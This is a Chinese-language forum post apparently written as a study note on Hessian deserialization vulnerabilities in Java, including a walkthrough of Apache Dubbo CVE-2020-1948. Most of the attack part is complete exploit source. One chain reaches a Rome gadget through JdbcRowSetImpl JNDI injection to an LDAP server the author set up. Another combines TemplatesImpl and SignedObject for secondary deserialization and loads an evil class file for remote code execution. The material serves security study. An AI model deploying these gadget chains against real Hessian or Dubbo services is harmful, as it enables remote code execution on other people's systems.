ToB企服应用市场:ToB评测及商务社交产业平台

标题: Hessian反序列化分析 [打印本页]

作者: 汕尾海湾    时间: 2024-5-17 01:33
标题: Hessian反序列化分析
RPC协议

RPC全称为Remote Procedure Call Protocol(长途调用协议),RPC和之前学的RMI非常类似,都是长途调用服务,它们差别之处就是RPC是通过尺度的二进制格式来定义请求的信息,这样跨平台和体系就更加方便
RPC协议的一次长途通讯过程如下:
Hessian协议

Hessian是一个基于RPC的高性能二进制长途传输协议,官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简朴,它定义长途对象,并通过二进制的格式进行传输。
Hessian的简朴使用

环境依赖
  1. <dependency>
  2.     <groupId>com.caucho</groupId>
  3.     <artifactId>hessian</artifactId>
  4.     <version>4.0.63</version>
  5. </dependency>
复制代码
Demo
  1. package org.example;
  2. import java.io.Serializable;
  3. public class Person implements Serializable {
  4.     public String name;
  5.     public int age;
  6.     public int getAge() {
  7.         return age;
  8.     }
  9.     public String getName() {
  10.         return name;
  11.     }
  12.     public void setAge(int age) {
  13.         this.age = age;
  14.     }
  15.     public void setName(String name) {
  16.         this.name = name;
  17.     }
  18. }
复制代码
  1. package org.example;
  2. import com.caucho.hessian.io.HessianInput;
  3. import com.caucho.hessian.io.HessianOutput;
  4. import java.io.ByteArrayInputStream;
  5. import java.io.ByteArrayOutputStream;
  6. import java.io.IOException;
  7. public class Hessian_test {
  8.     public static <T> byte[] serialize(T o) throws IOException {
  9.         ByteArrayOutputStream bao = new ByteArrayOutputStream();
  10.         HessianOutput output = new HessianOutput(bao);
  11.         output.writeObject(o);
  12.         System.out.println(bao.toString());
  13.         return bao.toByteArray();
  14.     }
  15.     public static <T> T deserialize(byte[] bytes) throws IOException {
  16.         ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
  17.         HessianInput input = new HessianInput(bis);
  18.         Object o = input.readObject();
  19.         return (T) o;
  20.     }
  21.     public static void main(String[] args) throws IOException {
  22.         Person person = new Person();
  23.         person.setName("F12");
  24.         person.setAge(20);
  25.         byte[] s = serialize(person);
  26.         System.out.println((Person) deserialize(s));
  27.     }
  28. }
复制代码
感觉就是ObjectStream的一个替换,跟原生的并没有太大差异
Hessian反序列化漏洞
  1. package org.example;
  2. import com.caucho.hessian.io.HessianInput;
  3. import com.caucho.hessian.io.HessianOutput;
  4. import com.sun.rowset.JdbcRowSetImpl;
  5. import com.sun.syndication.feed.impl.EqualsBean;
  6. import com.sun.syndication.feed.impl.ToStringBean;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.ByteArrayOutputStream;
  9. import java.io.IOException;
  10. import java.io.Serializable;
  11. import java.lang.reflect.Array;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. public class Hessian_JNDI implements Serializable {
  16.     public static <T> byte[] serialize(T o) throws IOException {
  17.         ByteArrayOutputStream bao = new ByteArrayOutputStream();
  18.         HessianOutput output = new HessianOutput(bao);
  19.         output.writeObject(o);
  20.         System.out.println(bao.toString());
  21.         return bao.toByteArray();
  22.     }
  23.     public static <T> T deserialize(byte[] bytes) throws IOException {
  24.         ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
  25.         HessianInput input = new HessianInput(bai);
  26.         Object o = input.readObject();
  27.         return (T) o;
  28.     }
  29.     public static void setValue(Object obj, String name, Object value) throws Exception{
  30.         Field field = obj.getClass().getDeclaredField(name);
  31.         field.setAccessible(true);
  32.         field.set(obj, value);
  33.     }
  34.     public static Object getValue(Object obj, String name) throws Exception{
  35.         Field field = obj.getClass().getDeclaredField(name);
  36.         field.setAccessible(true);
  37.         return field.get(obj);
  38.     }
  39.     public static void main(String[] args) throws Exception {
  40.         JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  41.         String url = "ldap://localhost:1099/EXP";
  42.         jdbcRowSet.setDataSourceName(url);
  43.         ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
  44.         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
  45.         //手动生成HashMap,防止提前调用hashcode()
  46.         HashMap hashMap = makeMap(equalsBean,"1");
  47.         byte[] s = serialize(hashMap);
  48.         System.out.println(s);
  49.         System.out.println((HashMap)deserialize(s));
  50.     }
  51.     public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
  52.         HashMap<Object, Object> s = new HashMap<>();
  53.         setValue(s, "size", 2);
  54.         Class<?> nodeC;
  55.         try {
  56.             nodeC = Class.forName("java.util.HashMap$Node");
  57.         }
  58.         catch ( ClassNotFoundException e ) {
  59.             nodeC = Class.forName("java.util.HashMap$Entry");
  60.         }
  61.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  62.         nodeCons.setAccessible(true);
  63.         Object tbl = Array.newInstance(nodeC, 2);
  64.         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
  65.         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
  66.         setValue(s, "table", tbl);
  67.         return s;
  68.     }
  69. }
复制代码
搭个ldap恶意服务,运行代码成功弹出计算器,分析一下游程,readObject处打个断点,在readObject中计算tag的值进行一个Switch,我们这里计算出来是77也就是M

跟进readMap

获取到一个空的Deserializer对象,直接跟进readMap

这里创建了一个Map对象,将我们的恶意序列化数据put进去,这里调用了2次readObject,因此我们会重复几次也会弹好几个计算器,重复过程结束后回到put方法,进入put触发的就是通例rome链,似乎非常的easy
Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的:https://github.com/Claradoll/Security_Learning
启动Dubbo之前得准备一些东西,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下
https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/
下载好后设置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下,添加这两个东西,data和log目录自己创建
  1. dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
  2. dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log
复制代码
先启动zookeeper,bin目录下启动zkServer.cmd,然后IDEA里分别启动provider和consumer,访问这样就搭建成功了,consumer相当于客户端,provider就是服务端

反序列化漏洞分析

同样是JNDI注入触发rome链,攻击逻辑内里已经写好了,我们访问calc路由即可弹出计算器

这里分析一下Dubbo是怎么处理的,在服务端打个断点

再给DecodeableRpcInvocation的decode方法打个断点,方便调试

打完断点访问calc路由,进入decode方法

这一段代码获取了长途接口对象的路径和类型,以及dubbo的版本等等信息,但是在末了进行了反序列化,而且这里的in输入流是Hessian2对象

之后就是Hessian反序列化的流程了,为什么别的博主到这里tag变成了72,而我还是77,又一谜题,77通例的Hessian反序列化,就不往下分析了,可以去看看72的分析过程,不过大差不差

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个迷惑是为什么要用JNDI,而不是单纯的TemplatesImpl链,在这里得到相识答,这是由于Hessian反序列化和Java原生反序列化的区别,假如用TemplatesImpl打的话,运行会报错

这是由于Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化

那为什么原生的Java反序列化不会受到这个限定呢。这是由于原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readObject方法:

这里手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种题目了
那既然如此,我们该如何绕过这个限定呢?思路实在很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法,刚好上篇讲的二次反序列化,这里就能够用到
  1. package com.example.dubboconsumer.consumer;
  2. import com.alibaba.com.caucho.hessian.io.Hessian2Input;
  3. import com.alibaba.com.caucho.hessian.io.Hessian2Output;
  4. import com.rometools.rome.feed.impl.EqualsBean;
  5. import com.rometools.rome.feed.impl.ToStringBean;
  6. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  8. import javax.management.BadAttributeValueExpException;
  9. import javax.xml.transform.Templates;
  10. import java.io.ByteArrayInputStream;
  11. import java.io.ByteArrayOutputStream;
  12. import java.io.IOException;
  13. import java.lang.reflect.Array;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.nio.file.Files;
  17. import java.nio.file.Paths;
  18. import java.security.*;
  19. import java.util.HashMap;
  20. public class Hessian_TemplatesImpl {
  21.     public static void main(String[] args) throws Exception {
  22.         TemplatesImpl templatesimpl = new TemplatesImpl();
  23.         byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));
  24.         setValue(templatesimpl,"_name","aaa");
  25.         setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
  26.         setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
  27.         ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
  28.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
  29.         setValue(badAttributeValueExpException,"val",toStringBean);
  30.         KeyPairGenerator keyPairGenerator;
  31.         keyPairGenerator = KeyPairGenerator.getInstance("DSA");
  32.         keyPairGenerator.initialize(1024);
  33.         KeyPair keyPair = keyPairGenerator.genKeyPair();
  34.         PrivateKey privateKey = keyPair.getPrivate();
  35.         Signature signingEngine = Signature.getInstance("DSA");
  36.         SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
  37.         ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
  38.         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
  39.         HashMap hashMap = makeMap(equalsBean, equalsBean);
  40.         byte[] payload = Hessian2_Serial(hashMap);
  41.         Hessian2_Deserial(payload);
  42.     }
  43.     public static byte[] Hessian2_Serial(Object o) throws IOException {
  44.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  45.         Hessian2Output hessian2Output = new Hessian2Output(baos);
  46.         hessian2Output.writeObject(o);
  47.         hessian2Output.flushBuffer();
  48.         return baos.toByteArray();
  49.     }
  50.     public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
  51.         ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
  52.         Hessian2Input hessian2Input = new Hessian2Input(bais);
  53.         Object o = hessian2Input.readObject();
  54.         return o;
  55.     }
  56.     public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
  57.         HashMap<Object, Object> s = new HashMap<>();
  58.         setValue(s, "size", 2);
  59.         Class<?> nodeC;
  60.         try {
  61.             nodeC = Class.forName("java.util.HashMap$Node");
  62.         }
  63.         catch ( ClassNotFoundException e ) {
  64.             nodeC = Class.forName("java.util.HashMap$Entry");
  65.         }
  66.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  67.         nodeCons.setAccessible(true);
  68.         Object tbl = Array.newInstance(nodeC, 2);
  69.         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
  70.         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
  71.         setValue(s, "table", tbl);
  72.         return s;
  73.     }
  74.     public static void setValue(Object obj, String name, Object value) throws Exception{
  75.         Field field = obj.getClass().getDeclaredField(name);
  76.         field.setAccessible(true);
  77.         field.set(obj, value);
  78.     }
  79. }
复制代码
运行即可弹计算器

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4